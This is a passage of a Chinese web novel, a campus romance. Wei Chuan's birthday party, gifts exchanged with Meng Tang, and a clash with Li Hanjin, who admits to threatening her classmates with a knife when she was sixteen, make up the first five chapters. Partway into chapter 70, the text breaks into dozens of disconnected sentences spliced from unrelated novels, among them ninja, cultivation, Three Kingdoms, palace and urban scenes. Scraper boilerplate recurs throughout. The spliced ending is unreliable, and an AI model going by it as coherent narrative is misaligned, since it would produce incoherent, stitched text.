魏川猛地回神,下意识给孟棠拉开副驾的车门,说话也是对着她:“上车吧。” 孟棠伸手去拉谢泠音,捞了一把空气,她回眸一看,三个人你推我搡往后座挤。 孟棠上去拉住谢泠音的胳膊:“泠音,你坐前面吧。” “我跟他又不熟,多尴尬啊。” 孟棠:“……” 你都计划着生日那天把他带着见室友了,还不熟? 孟棠回眸示意魏川去叫谢泠音。 不巧,他手机响了,是秦渊的催电。 车门还没关严实,谢泠音朝孟棠挥了下手:“快点,人家催了。” 魏川看着她,一脸无辜,孟棠赶鸭子上架似的去了副驾。 后面三个一路聊得欢快,可怜她和魏川突然不知道说什么,就那么沉默了一路。 考虑到晚上十点还要回寝室,秦渊找的酒店靠近Z大的艺体校区。 魏川包了松云山庄的顶层。 抵达酒店正门时,一群五大三粗的男生叼着烟闲聊。 魏川停了车,迎宾小哥迎上来泊车。 “抽完了没。”魏川抬手往后指了指,“赶紧掐了。” 见到女生,一群男的双眼放光,而孟棠也晕晕乎乎的,一群男的,都看不过来了,坐电梯都分了两部。 宴会厅,秦渊做了很细致的布置,魏川拨了下气球就要往里走,被秦渊一把拦住: “我让酒店布置了半天,你给我站这儿拍张照。” 魏川举起剪刀手,皮笑肉不笑,三二一拍完了。 摄影师一脸懵逼,说:“可以来张大合影。” 魏川点点头:“可以。” “也没必要搞得拍毕业照似的。”摄影师说,“姿态放松一点,寿星站中间,其他人随便。” 魏川想让女生站中间,石岚哪好意思,拉着杨可躲去了边上,把谢泠音和孟棠抛诸脑后。 孟棠也要走,被秦渊拦下:“你就靠着我站吧。” 这样一来,她的右边就是魏川。 孟棠伸长脖颈看了眼,发现谢泠音在魏川的右边,也就没再动了。 摄影师往后退去:“动作表情都随意一点,边上的男生往里靠靠,我拍了啊。” 队伍两端的男生眼珠乱窜,给彼此使了个坏笑,在摄影师按下快门后,猛地哄笑着将人往中间挤。 可怜了四个文弱的女生,孟棠被秦渊撞到,她又撞到了魏川。 魏川个高地盘稳,下意识搂住了她肩膀,孟棠仰起头,和他四目相对。 一群男生恶作剧成功,对摄影师招了下手:“看看拍的怎么样?” 摄影师将相机移到魏川眼下,孟棠顺势看过去,发现许鹤清扶着谢泠音,也是对上了眼。 孟棠:“……” 一切都乱套了。 第66章 我礼物呢 孟棠傻了会儿眼,魏川不是应该去扶谢泠音吗?扶她干什么? 这张照片,他们四个怎么看怎么别扭。 孟棠微微转过身体,对魏川说:“要不要再拍一张?” 魏川盯着照片,余光给了孟棠:“就这样吧,也挺有意思的。” 明天还要上课,时间本就不足,也不好一直被拍照耽误时间。 寿星都不拍了,孟棠也不好强求。 进了宴会厅的餐厅,秦渊帮着魏川说:“都是朋友,没什么讲究,随意坐。” 秦渊看出来四个女生想要坐一起,连着留出四张空椅,示意她们过去。 孟棠在最外侧,魏川刚要走过去,被秦渊拉住。 魏川拧眉质问:“你干什么?” 秦渊“啧”了声,将他往边上扯了下,在他耳边小声说: “你不是说孟棠喜欢许鹤清嘛,我把他俩安排在一起。” 魏川一噎。 谢泠音被夹在杨可和石岚中间,许鹤清不好和女生换位置,在秦渊有意无意的安排下,坐到了孟棠旁边。 而魏川,被篮球队的团团围住了,和孟棠正对面。 圆桌厚重巨大,戴眼镜的都未必能把对面的人看清。 魏川视力很好,孟棠盯着筷托的表情透着几分喜爱。 筷托是小鱼形状的,外形有点像鲷鱼。 孟棠用指尖碰下了下陶瓷的筷托,抿唇笑了笑。 相较魏川那边男生的吵闹,孟棠这边就安静多了。 只是她身旁坐着许鹤清,轻松不起来,就带着两分端。 魏川招呼大家吃饭,谢泠音侧眸一瞥,他女朋友已经举筷出击了。 孟棠的余光扫描出许鹤清在看自己的错觉,下意识屏住了呼吸。 退却之后,她一直有意无意地避开许鹤清,偶尔魏川提起,她总是打岔。 事实证明,完全没有交集之下,她可以忽略自己对许鹤清的一片悸动。 但喜欢一个人,不可能无动于衷,孟棠知道自己需要的是时间的安抚。 可今晚,两人触之可及。 原本只要不搭一句话,孟棠是可以不动如山的,偏偏许鹤清微微倾过身,在鼎沸人声里,跟她低声交谈: “其实,我一直想要谢谢你来着。” 谢她?孟棠筷子一顿:“谢什么?” 许鹤清眸色不深,总给人一种如浴春风的感觉,孟棠一不小心就晃了下神。 许鹤清说:“之前我组织同学们给学姐捐款,听泠音说你捐了五千。” “应该的。”孟棠还以为是什么事,“我也只有这么多,希望可以帮到她。” “钱对她而言很重要,但更重要的是你送给她的木鸟,她特别喜欢,说希望有一天可以亲自谢谢你。” 孟棠完全没想到还有这茬,那只木鸟不过是大一随手雕刻的小玩意,当时给出去,只是希望对方开心点。 回过神,孟棠问许鹤清:“泠音怎么没跟我说?” 许鹤清叹气:“学姐的病不太好治,她应该是怕跟你提了,你会把这事放在心里,万一以后……你到时候再问,怕你心里不好受吧。” 孟棠轻轻呼出一口气,有些感动。 泠音不知道是不是受重男轻女的家庭环境影响,很会为别人考虑。 孟棠下意识看了眼魏川,他正被田聿缠着以茶代酒。 “泠音她……真的很好。” 他们也很相配。 许鹤清转头说:“你也很好,你们寝室的人都很好。” 微怔之后,孟棠朝他露出一个浅浅的笑。 魏川应付完田聿的纠缠,抬头看见的就是这抹笑。 不知道在聊什么,貌似挺开心的。 除了上次不知道怎么突然发神经,许鹤清的人品,魏川还是敢保证的。 他和孟棠是朋友,两人还怀揣着相似的秘密,不自觉就要关注一下。 若是她和许鹤清成了,也不用毕业回去结婚生子,好事一桩。 越想,魏川的眉头拧得越深。 训练期间禁止饮酒,他拧开VOSS喝了一口,睫毛在眼下投下一片暗影。 两人还在聊,魏川在桌下抬脚踢了下秦渊:“什么时候点蜡烛?” 秦渊当即站起来,说:“来来来,把灯关了,咱们来点蜡烛,把帽子给寿星戴上。” 秦渊做了暗色系三层的蛋糕,就在餐桌后面的台子上。 魏川被邵一鸣和田聿按住,戴上了生日帽。 他觉得这个丑,有些不太愿意,余光瞄到孟棠也在笑,缩回了想要拿下帽子的手。 一群人唱生日歌唱得餐厅“地动山摇”,魏川这么外向的人都恨不得找条地缝钻进去。 一旁的服务员小姐姐个个咧着嘴笑,一晚上见这么多青春男大,也不太容易。 “许愿许愿。”秦渊带着人起哄。 魏川闭上眼睛,五秒后睁开吹灭了蜡烛。 秦渊没眼色地问:“你许的什么愿?” 魏川:“你管我。” “肯定是女朋友。” “川哥不一直都有喜欢的人,怎么还不告白?” “不会是害怕人家女生拒绝你吧?” “说真的,以你的颜值,大胆去试啊。” 魏川叛逆道:“要你们管,吃蛋糕。” 田聿起哄道:“我说你要是再不告白,小心被人家抢走了。” 魏川下意识看向孟棠,发现她又和许鹤清聊了起来。 她平日里没多爱笑,今晚超标了。 时间只够吃吃喝喝,娱乐项目,他们一个没碰。 篮球队的练了一天球,也懒得动弹,索性三五成群,或在餐桌边,或在沙发上吹牛。 孟棠捧着一点蛋糕,小口小口吃完。 谢泠音和石岚约着去卫生间,杨可拍了下孟棠:“你去不去?” 蛋糕还没吃完,孟棠摇了摇头:“你去吧。” 杨可小声说:“窗口那边有几个男生在抽烟,我出去透透气。” 孟棠点了点头,余光四处搜寻魏川的身影。 她雕刻的大黄还在包里,想找个机会给他。 好不容易吃完了蛋糕,孟棠拧开矿泉水喝了口,口中甜腻感退去了些。 秦渊扯了一嗓子:“才八点,要不去打打台球唱唱歌?” “唱歌没什么意思,去打一杆吧。” “走。” 没一会儿,餐厅只剩下孟棠一个人,谢泠音给她打了电话,说她们去了KTV区域,让孟棠也过去。 孟棠刚要起身,魏川从门口进来,拉开她旁边的椅子坐下。 对视了几秒,他才幽幽地问:“我礼物呢?” 第67章 伸出来,有个东西给你 孟棠拧上瓶盖,从包里掏出一个小木盒递过去。 素面无纹,触感光滑,魏川心喜接过:“你自己做的?” 孟棠“嗯”了声:“上次给你雕刻剩的料子,你看看喜不喜欢。” “喜欢。”魏川指腹摩挲木盒,傻笑了声。 “你还没看。”孟棠哭笑不得。 “没看我也喜欢,”魏川的语气颇为傲娇,“亲手做的跟买的怎么能一样?” 这话要是被送他腕表的秦渊听到,估计能把表要回去。 孟棠见他喜欢,莞尔一笑:“你打开看看吧。” 魏川盼了许久,小心翼翼地打开木盒,和里面仰头眯眼的大黄四目相对。 场景莫名诙谐,孟棠“噗嗤”笑道:“你别这样看它,显得你俩很像。” 魏川朝她歪头眯眼:“这样吗?” 更像了,孟棠笑不可支。 魏川指腹划过大黄狗的头,视线遍及她的眼尾眉梢,将灿烂笑意尽收眼底。 恍然间,魏川冒过一个荒唐的想法:她和许鹤清聊天,可没这样笑过。 随即又被自己的想法惊到,他为什么要和许鹤清比这个? 掩饰般,魏川垂头把玩孟棠送给他的生日礼物。 大黄狗通体莹润,木纹流转自然,姿态可掬,前爪并拢似在讨好。 魏川不懂行,不然定能看出大黄的毛发处理是“丝毛雕”绝技,栩栩如生。 魏川心内惊叹,问孟棠:“这眼睛好真,嵌了什么?” 孟棠说:“紫光檀,瞳孔用‘点砂法’营造了水光感。” “神态很传神。”魏川夸赞道,“眼角下垂的弧度跟我见过的田园犬一模一样,你怎么会给我雕这个?” “你不是属狗的?” “你查了?” “嗯。” 竟然这样为他花心思,魏川的嘴角怎么也压不住。 那自己关心关心她,也是应该的。 他将礼物放进包里,清了清嗓子:“你跟许鹤清……聊了什么?我看你俩聊得挺开心的。” 孟棠不太乐意说,只道是闲聊。 听出她有意躲避,魏川哂笑:“我这不是想向你取取经,你嘴上说着退却了,转头就能让许鹤清和你聊得热火朝天,我跟谢泠音,一句话也没说上。” 孟棠白他一眼:“怪我?来的时候我让你叫她坐前面,你倒好,一句话也不说。” 突然哑巴了。 魏川干笑:“我开车不能分神。” 孟棠:“……” 她还真无法反驳。 “所以你和许鹤清到底聊了什么?”魏川不死心,“说说呗。” 孟棠叹了声气:“他只是谢谢我捐款,我给学姐送了一只雕刻的木鸟,学姐很喜欢。” 说完,她瞥一眼魏川:“泠音懂篮球,现成的话题还需要向我请教?” 魏川找借口:“我腼腆。” “……”孟棠无语了一瞬,“你看我是不是很傻?” 魏川朝她讨好地笑了笑。 “总之,篮球是你最好切入的话题,有利于提高你告白的成功率。” 魏川觉得自己不对劲,提到谢泠音,他没有要告白的兴奋和冲动,却对孟棠和许鹤清说了什么而大肆试探。 他不明白自己要干什么,可心里总有一股劲驱使他这样做。 桌上的手机响了,魏川暼了眼号码,不经意地问:“谁啊?” 孟棠答:“李寒津。” 那股劲又来了,魏川冷嗤:“那还是别接吧。” 孟棠接了。 魏川:“……” “喂……学校已经处理好了……不用,谢谢……对不起,我在外面……今晚魏川过生日,很多人……嗯……” 等她挂了电话,魏川才嘀咕:“你出事的时候不见人,这时候打什么电话?” 孟棠不想跟他聊李寒津,说:“我去听听凌音她们唱歌。” “我也会。”魏川像幼儿园吸引老师注意力的小朋友,“你要听吗?” 孟棠起身,居高临下看着他:“在这儿?” “开玩笑的。”魏川跟她嬉皮笑脸,“你先过去,我找摄影师有点事。” 他去要今晚的照片。 刚出门,三个女生出了KTV的专房,只听石岚朝孟棠兴奋地挥手: “快过来看,下雪了。” 下雪了?孟棠一愣,今天是圣诞节,也太应景了吧? 她走过去,踏上连片落地窗的走廊,玻璃外,路灯下,雪花簌簌,给夜幕裹上了一层糖霜。 谢泠音指了指:“那是不是我们学校的方向?” 魏川要了照片,过来正好听见,便答了句“是”。 谢泠音看了眼时间,说:“时间还早,要不我们走回去?” “看着近,走着可不近。”许鹤清从她身后冒出来,“天气冷,小心感冒。” 孟棠眼底的意动落下去两分,魏川瞥到,说:“先去坐地铁,两站后下来,步行十几分钟就到学校了。” 这倒是不错的法子,谢泠音笑着点头:“现在就走?” 大学生总有诗情画意的时间和兴致,魏川打了两通电话,将其他人都叫了过来。 他将车钥匙扔给田聿:“你们几个,不愿意走的开我车回学校。” 大G啊,田聿几个人差点因为谁主宰车钥匙而打起来。 最后田聿带走一波,秦渊送了一波,只剩下魏川和许鹤清带着四个女生。 男生跑光了,石岚吐槽他们没什么浪漫细胞。 地铁两站,是很快的。 出来后,雪势渐大,没一会儿就在他们身上落了一层白。 孟棠抬手接雪花,一粒一粒全都融化在她的眼角眉梢上,掌心指腹间。 魏川一个人落后几步,反应过来时,手机里多了一张照片。 足足愣了五秒,他又掩耳盗铃般拍了张全景。 谢泠音玩手机看到,抵了抵孟棠:“魏川发朋友圈了。” 孟棠下意识就着她的手看了眼,魏川发了两张照片,一张是宴会厅门口的大合照,一张是夜幕雪景下,他们几人的背影图。 文案是:快乐的生日,好大的雪! 孟棠两眼一黑,第一张大合照,确定不会引人误会吗? 她侧眸看向谢泠音,见她神色没有异常,又怀疑是不是自己大惊小怪。 不过魏川的第二张照片,孟棠倒是懂。 谢泠音的背影在照片的中间位置,他这是为了一个人,拍了一群人。 回到学校已经接近十点,魏川和许鹤清将女生们送到寝室楼下。 孟棠的手臂忽然被人碰了下,她扭头望去,魏川跟她说:“把手伸出来。” 他声音很小,生怕别人听见似的。 孟棠也下意识跟着小声:“干什么?” 魏川说:“伸出来,有个东西给你。” 孟棠狐疑地伸出手,随后掌心一凉。 没来得及看,魏川将她的手握紧,说:“回寝室再看吧,或许你可以猜猜是什么。” 孟棠鬼使神差没有松开拳头,跟他玩这幼稚的游戏。 第68章 我有什么不敢听的 进了电梯,孟棠用指腹描绘掌心里的小物件,手感温润光滑,外形像鱼。 鱼?孟棠愣了下,心里有了猜测,垂眸一看,掌心里躺着的正是小鱼筷托。 坐在她身边的许鹤清都未必注意到她的动作,魏川他…… 孟棠没意识电梯到了,还是杨可喊了声才让她回神。 她握紧小鱼筷托,不明白魏川为什么给她这个? 进了寝室,她放下包,去掉外套,将小鱼筷托放到台灯下。 沉默许久,孟棠打开手机想要问问魏川,又忽然顿了手。 当时许鹤清坐在她旁边,她有些不自在,只能无聊盯着小鱼筷托。 越看越可爱,没忍住上手碰了下。 魏川应该是无意中看到了,就向酒店要了一个给她。 对,应该是这样的。 孟棠是最后一个洗漱的,她睡眠质量一向很好,今晚却辗转难眠。 她从枕头底下摸出罪魁祸首,在黑暗中咂摸出两分不对劲。 可具体哪里不对劲,她说不上来,一往深处想就烦躁异常,最后只能强逼着自己入睡。 第二天顶着黑眼圈去上了课,雪下了几个小时就停了,路面挺干燥的。 心不在焉上了四节课,去吃饭的路上碰到了李寒津。 孟棠没有意外他来找自己,毕竟生活了好些年,李寒津的为人她还是有一些了解的。 “你怎么会过来?”孟棠一副不怎么欢迎的模样。 路上人太多,李寒津向四周瞥了眼:“你确定要在这里说?” 孟棠带着他绕了半圈,找了个没人的地方,表情十分浅淡地问:“什么事?” 李寒津说:“工作室搬迁,之前还有些事情没处理完,你出事的时候我不在——” “已经处理好了。”孟棠截断他的话,“我也不妨明着跟你说,爷爷不让我跟你走得近。” 李寒津苦笑:“老爷子真是……何必这样防我。” 后半句,他说得含糊,孟棠没听清,也无意去问,直言道: “我还有事,先走了。” “等等。”李寒津拦住她,“不是我非要缠着你啊小师妹,而是你们学校聘请了我做非遗传承导师。” 孟棠一愣:“这个头衔……学校让你做什么?” 李寒津说:“不参与日常教学,但会参与木雕相关的毕业设计指导,还有学术研讨会和工艺展评审。” 孟棠点了点头,与他告别。 李寒津眯了眯眼,她就一点不在乎? 记住本站: 吃完饭回了寝室,谢泠音她们在说元旦放假的事。 手机响了声,魏川发了条信息过来,问孟棠元旦回不回去,这好像跟他没什么关系,她没有回复。 魏川觉得奇怪,又连着找了几次,孟棠都没有回复。 他从训练馆出来去了餐厅,随意找了位置坐下,翻看和孟棠的聊天记录,怀疑自己哪里惹到了她。 两三天不见,信息也不回。 就在这时,他身后的餐桌来了几个女生,坐下就开始讨论: “我们学校聘了一个非遗传承导师,贼帅,你们知道不?” “我知道,李寒津嘛,之前开过讲座。” “他气质真绝了,好多女生喜欢他,堵着去要微信,都被回绝了。” “可他天天去找雕塑系的孟棠,有人说他俩在一起了。” “真的假的?他俩差了六七岁吧?” “六七岁,又不是六十七,换做我,我也愿意啊。” 魏川筷子一顿,李寒津去美院做了非遗导师? 操,他这是奔着孟棠来的吧? 胃口尽失,魏川放下筷子,在手机上飞快地输入:【你有空吗?有事跟你说。】 耐着性子等了十分钟,魏川干脆打了语音过去,这次孟棠接了,问他什么事。 “我能不能去找你?”魏川说,“我有事跟你说。” “不好意思,我有点忙。” “孟棠。” 手机那头,响起李寒津的声音。 魏川挂断语音,端起餐盘就走。 他不知道孟棠现在在哪儿,但沿着美院的几条主路去找准没错。 果不其然,在艺术博物馆的门口,魏川找到了人。 孟棠和李寒津不知道在说什么,余光里只怕都没旁人。 魏川装作路过,走过去,远远叫了声“孟棠”的名字。 孟棠还以为自己幻听了,转过头看到他,一脸惊讶:“你怎么在这儿?” 魏川:“路过。” 孟棠:“……” 训练馆和艺术博物馆一南一北,怎么路过? 孟棠怕他再和李寒津起冲突,将他拉出三米之外。 记住本站: 魏川心口发闷,率先沉不住气:“我之前给你发信息,你一条都没回,就是跟他在一起?” 质问的语气,让孟棠蹙起眉心:“你找我有事?” 魏川自顾自地问:“现在人人都传你跟李寒津在一起,你知道吗?” 孟棠没想到传言这么离谱,但魏川似乎也没立场质问她。 她静静地看着他:“这似乎跟你没什么关系。” “我……”魏川噎了下,“是跟我没关系,那跟许鹤清也没关系吗?” 孟棠:“……你为什么总是对我和许鹤清的事情有那么多看法?” 无声对峙了两分钟,魏川语气暗含委屈:“我发现你真的是……” “是什么?” 孟棠心里装的都是李寒津跟她说的文物修复,确实没什么心思应付魏川。 魏川大着胆子嘟囔了声:“三心二意。” 孟棠叹气:“你要实在没事你先走,我是真的有事。” “又是跟李寒津对吧?” 孟棠被他惹急了,语气一拧:“跟谁都跟你没关系。” 魏川简直不敢相信自己的耳朵,他委屈地盯着她: “我送你小鱼筷托,你就这么对我?” “你跟我打听许鹤清,问我他喜欢什么的时候,怎么不说跟我没关系了?” “我不是也告诉你谢泠音喜欢什么了?”孟棠呛回去,“我陪你去给她买东西,还给你雕刻了一座告白礼物,你到底还想怎么样?” 魏川:“送佛送到西。” 孟棠:“…什么意思?你要是告白失败,还成了我的错了?” “我没这么说。” “……” 李寒津对孟棠绝对不怀好意,魏川索性将无理取闹发挥到底: “我不管,你之前答应过我,和我一起告白的,不然我就告诉许鹤清你喜欢他。” “你有病啊。”孟棠没忍住骂了句。 她没了心情,瞪了眼魏川,连李寒津都没理,径自走了。 艺术博物馆的门口,只剩两个男人。 魏川冷笑道:“讲座、搬迁、聘请……都是你计划好的吧?” 李寒津挑了下眉。 魏川被气笑:“明知道老头不待见你,还厚着脸皮接近孟棠,你到底想干什么?” 记住本站: 李寒津没回,反倒是问:“你知道四年前,我为什么会离开吗?” “我没兴趣。”魏川嫌恶道。 “你不敢听。”李寒津刺激他。 到底年轻,激不得,魏川转过身嗤笑:“我有什么不敢听的。” 记住本站: 第69章 我打算向谢泠音告白 吾家有女初长成,十六岁的孟棠亭亭玉立,似新荷初放。 学校里不少男生偷摸着送她回家,孟棠烦了,和老爷子羞涩地抱怨两句。 老爷子只是笑笑,叹一句年轻小子不知羞。 李寒津听进了心里,转头揣着刻刀出了门,吓得那些人从此绕着孟棠走。 老爷子因为这件事发了很大的脾气。 “师父觉得我性格乖戾,管教更为严苛,我不服气,我并没有对他们做什么,只是吓唬吓唬。” 时隔四年,瞧得出来,李寒津还是不服。 魏川冷然一笑:“少年慕艾是人之常情,老头一笑了之,你却拿着刀子去威胁孟棠的同学?” 竟还不服?真是倒反天罡。 李寒津眉目微动,诧异魏川和师父说的分毫不差。 他自嘲轻笑:“师父当时也说了,纵然要防,也不是这种防法。” “但我没有办法看着那些人接近孟棠,她所有的一切都该是我的。” 李寒津突然情绪上涌,青天白日,显得面目狰狞。 “你他妈想屁吃。”魏川一把抓过李寒津的衣领,眸底暗潮涌动,“她那会儿才16,还没成年,你都23了,怎么好意思说自己喜欢她的?” 李寒津轻轻扫过魏川的怒容: “我喜欢她,被师父察觉,他拿鞭子抽我,我说我改不了。” “我看你他妈是被抽少了。”魏川恨不得一拳砸烂他,“她从小跟你一起长大,对你亲近是把你当兄长,自以为有几分狗屁天赋,你就有资格喜欢她了?” “我没有资格,你又是什么东西?” 不知道哪句话触到了李寒津的逆鳞,他挣开魏川的钳制,绷着面皮嘲讽他: “你不会以为家里有几个钱就配得上她了吧?” 魏川知道李寒津把他当假想敌,他也没解释,只是横了他一眼: “我只知道,你配不上她,老头逐你出师门四年,你还不知悔改,费尽心机靠近孟棠,你这辈子都不会得到她,她也不会是你的。” 李寒津不气反笑:“我跟她师承一脉,有共同的话题和爱好,像你这种头脑简单,四肢发达的生物永远看不懂她的作品,也看不懂她要表达的情感。” 人在无语的时候确实会笑,李寒津斜斜扫他一眼:“你笑什么?” “我笑你不过如此。”魏川居高临下看着他,神态狂傲,“你但凡看过我的比赛,哪怕就一场,你对我的评价绝不会是‘头脑简单、四肢发达’这八个字。” 根据普罗大众的刻板印象判断一个人,肤浅。 魏川懒得再跟他争论什么,斜睨他一眼,转身走了。 直至李寒津看不见他了,才烦躁地拿出手机,打算给孟棠道歉。 孟棠这人吃软不吃硬,生起气来,语气轻轻柔柔,却能将人呛个半死。 李寒津能装会道,他是真怕孟棠着了他的道。 记住本站: 他随意找了个路牙子坐下,垂头给孟棠发去信息: 【对不起,刚才是我太冲动了,我是不是耽误你事了?】 孟棠回到寝室,看到小鱼筷托,烦躁地将它扔进了抽屉。 看到罪魁祸首的信息更是不想搭理,却架不住魏川给她发各种各样求饶搞怪的表情包—— “我弯腰,我道歉,我错了。” “我打算哄哄你,给我个面子呢。” “和好吧(超大声)” “这有个台阶,我自己先下。” “主动罚站。” “为我的莽撞自罚一杯(DuangDuang咕噜咕噜)” 孟棠一下被逗笑,又觉得自己没出息,咬住下唇忍了忍。 她确实心软了,回复:【别发了,我不生气了。】 闽州古村落因为台风发现了一批清朝的文物,其中有座观音像木雕有毁坏,找了李寒津主修,她想跟着去看看。 事情还没谈完,就被魏川搞得心思全无,他还好意思在这耍赖。 耍赖的人得寸进尺,得到她的回复,直接发了语音过来。 寝室里只有她一人,孟棠开了扩音。 “对不起,我错了。” “……” 说话就说话,声音黏黏糊糊的干什么。 孟棠有些别扭,小声道:“我说了我不生气了,发语音干什么?” “我真的有事跟你说。”魏川放低姿态,想要博得她的心软,“能不能见我一面?” 她下午没课,孟棠无奈地应了声:“在楼下等我。” 魏川当即高兴地回:“我现在就去。” 孟棠挂了语音,刚要起身,李寒津打来了电话。 她接起,说:“我考虑好了,我想去。” “我猜到你要去。”李寒津笑了声,“资料发你邮箱了,你可以先看看,观音像损毁严重,需要实验室环境来干预,已经妥善运到了博物馆的修复中心,不用我们来回跑了。” 孟棠有些惊讶:“采用的是‘异地修复,原址返还”的模式?” “是。” “好,我先看看。” 孟棠挂了电话,迫不及待打开了邮件。 记住本站: 观音像现场评估过,确实是清代的物件,附件里除了基本信息,还有一份损伤报告。 破损确实有点严重,孟棠有些心疼。 前期检测评估、清洁灭菌,后期加固补缺,上色做旧,按照传统修补方法,最起码要半年。 李寒津愿意带着她,不知道让不让她帮忙。 孟棠打开手机,想要给李寒津回个电话。 看到最近通话里排第三的号码,陡然想起魏川还在楼下。 她当即关了电脑,匆匆往楼下赶。 一口气跑到寝室门口,看到魏川直挺挺地立在路对面。 孟棠跑过去,喘着气道歉:“不好意思啊,我看了份文件,把你忘了。” 魏川还以为她故意的,闻言笑道:“没事,去后边的咖啡馆坐坐吧。” “好。” 这个点,学生都在上课,咖啡馆里没几个人。 魏川给孟棠点了热咖啡和提拉米苏。 下午她还要回去查找一些资料,没什么时间在这里消磨,直接问:“你有什么事?” “我打算向谢泠音告白。” 孟棠搅拌咖啡的汤匙一顿,抬眼看着魏川:“什么时候?” 魏川说:“元旦前一天晚上。” “挺好的。”孟棠低头啜一口咖啡,“成功了可以一道跨个年。” 魏川语出惊人:“我怕失败,你陪我一起吧。” “……” 孟棠想起他那句—— “我不管,你之前答应过我,和我一起告白的,不然我就告诉许鹤清你喜欢他”。 她莫名打了个寒颤,将话噎了回去。 记住本站: 第一卷 第70章 恋情曝光 或许,她可以先稳住魏川。 孟棠顿了片刻,说:“可你这么突然,我什么准备也没有。” “我算是明白了,越准备事越多,还不如直接豁出去。” “那你跟她告白呗,”孟棠小声嘀咕,“为什么拖着我啊。” 说到这里时,纲手脸上更是露出了冷笑,与此同时各大家族忍者似乎找到了主心骨般,纷纷望向了纲手。 但是这功法是有门槛的,想要使用大招,比如春神怒的话,最低修炼起点就是气血抱丹境。 练云生赶紧唤出光屏,念头传输问题:练家村是否处在高转超凡的威胁之中? 比如那些成名的大门派,如果他们拉拢不成的话,那他们也不会就此罢休,拱手让给其他门派的。 叶雪回头看着她挺着肚子艰难的上楼,到了拐角的阴影处,向底下望来。 众人都投来了赞同的目光,从这一刻开始,陈解已经可以算是整个沔水县的帮派第一人了。 同时,皇甫嵩将郿坞中董卓搜刮堆积如山的财宝,取出了一部分来,用于犒赏了士兵们,这样一来就极大程度收拢了军心。 叛军们立刻分崩离析,有的率众向荆州刺史王睿投诚,有的则是率众投奔袁叙,但绝大部分选择大难临头各自飞,呼啸山林,继续打家劫舍。 袁绍见众人都不说话,正好开口继续问的时候,突然一股记忆涌入袁绍的大脑之中。 “刀坏了,我休息一会谁上去战他吧。”滚滚单子说着一口血再也憋不住了,噗的一下喷出来好多血。 “怎么样,还行吧!再高档就没人住了,连老外也很少来住这么高档的地方,住这里的基本上还是些内地的暴发户,他们可非常舍得化钱”欧阳虹一边往外走,一边给陆浩说着话。 没多少时间,王芳就提着一大堆的东西,什么热的冷的,给整了一大桌。陆浩这时才知道肚子原来有一天多没有吃东西了,他也顾不了什么面子不面子的,端起碗来就吃,逗的王芳和李萍哈哈大笑。 “我可以将独孤风送入轮回,或许他能够在那里获得一线的生机。”沉思了片刻,后土再次缓缓开口言道,然而言语之间,似乎另有一些担忧。 本来蒋新明有手艺,李月梅做事又麻辣,两人店里的生意倒还红火,只是常常有一些罗汉过来吃霸王餐,还要上交一些保护费,在被砸过几次店以后,蒋新明与李月梅学会了忍气吞声。 莉莎抬起了头,闪着两只明亮的大眼睛,轻轻的说:“你说吧!我不会生气,也不会任性“陆浩见莉莎如些坚定,他不由得来了勇气。 “可绿袍大盗是一个抢匪,并非好人!将罪名推给他也会有恶因?”永信问道。 陆浩伸了一下懒腰,一看表,这都六点钟了,怪不得王娟来找她,人家是不好意思说下班了,陆浩这才收拾了一下,匆匆下了楼。 云扬的灵魂之火,在所有的花纹式字符固定下来之后,就退出了铁片,这铁片的内部暗含玄奥,以灵魂之火的特性,竟然也并不能够完全的侵入,这次祭炼可谓是只成功了一半。 “大胆狂徒,见到皇上还不下跪!”在皇帝身后一个面貌威武的将军似的武将大声喝道。 第一卷 第71章 他怎么可能喜欢我 “为什么?我现在和我三妹相认有什么不对的地方吗?”她都迫不及待想抱抱自己可爱的妹妹了,凭什么找到了都只让她远远的看着? 不错,自己存一开始的时候很喜欢慕容安,慕容安纯洁的,让人没有办法驱动他。举起这样自己不辱。 男人心中开始有些怨恨自己的心思,或许自己从一开始的时候选择这条路便是一种错误。 人类基因组他是知道的,指挥官系统就是基于人类基因数据研究出来的,这套数据的重要性不言而喻,这是破译人类遗传信息的重要数据。 “那这么看来,我们是不是要改变策略了?”暮雪现在脑子里一片浆糊,都不知道该怎么梳理思路了。 相反还有些怨恨,毕竟,自己临走的时候让莫寒好好的照顾慕容安,谁会想到莫寒会趁机做出这种事情来。 等到阙欢反应过来时,沧离的落渺剑已经架在了阙欢的脖子上。剑很锋利,阙欢的脖子已经见了血。 “趁这个时候继续嘴硬一会儿吧,因为一会儿你就说不吃话来了!”白无常此时因为体内的巨大能量翻滚着,精神都有些失常了,说完便踏步朝顾岚冲来。 傍晚十分,许澈开车到了刑警局的门口,而盛骁就坐在后排,然后给慕七七打了一个电话。 看到舒念用那般犀利的目光盯着她说出这番话来,聪明的陆曼妮轻易便明白舒念是故意把这些话说给她听的。 当然,王皓还有另外一个计划,就是让路易十一跟他们国家的宝物待在一起,看看这到底会发生什么样的事情。 李捷下意识端起碗来时,先对着鼻子倒了一下,然后也没喝多少,一下子瘫在了桌子前。 很显然,他是彻底的放弃了自己的攻击力,好让自己的绝对防御,能够施展到极限。 本来认定,必然有一番矿石大战的,最后,自己则将那沐三娘给俘虏到手,再寻一家客栈,细细品尝一番的。 如果是面对面的厮杀,白素素和夜妃绝对不会紧张的,但是现在自己被困在了大阵中,他们对阵法根本就是一窍不通,完全把希望寄托在冷奕的身上。 该死,曲幽再次咒骂了一声,右手探出抓住了穆拧莜的左手的手腕,一用力,咔嚓,曲幽硬生生的掰断的穆拧莜的手腕。 黎昕自然是照做了,他还正有些愁和龙晋鹏的相处。而且,这么些日子不见宁儒熙,他也想和宁儒熙谈一谈。 如此言语,也是听的秦画唇角一抽,美眸之中,更是充满了疑惑和一丝鄙夷。 贺兰瑶看了看龙昊然微微释然的样子,心里添了抹冷笑。知道龙昊然其实才是那个和龙越宸关系最好的人时,贺兰瑶就想到了龙越宸恐怕早就将龙绍炎身体里蛊虫的秘密告诉了龙昊然。 而现在却不是这样了,再继续成长下去艾斯德斯不需要任何人的帮助,不需要任何的运气和机缘,她就能超越世界的桎梏。 “结束了!”两道光束带着尖锐撕裂空气的呼啸声射到了强袭高达的身前。 “那是一个虚伪的种族。”西‘门’似乎对于天使族有些反感,皱眉说道。 因为王友峰带领的鬼王近卫军走在最后,所以这次受伤的人都是他的部下,所以王友峰的愤怒是可想而知的了。 听完了林白子的讲述,许哲等人也没想着好好安葬绿发原士,这家伙就是人渣,不值得将他下葬,直接丢到荒野上,让野兽什么的解决掉就行了。 需要用很长一段言语来描述许哲和廖云的战斗,但两人实质仅仅碰撞了一下,双方纷纷弹开。 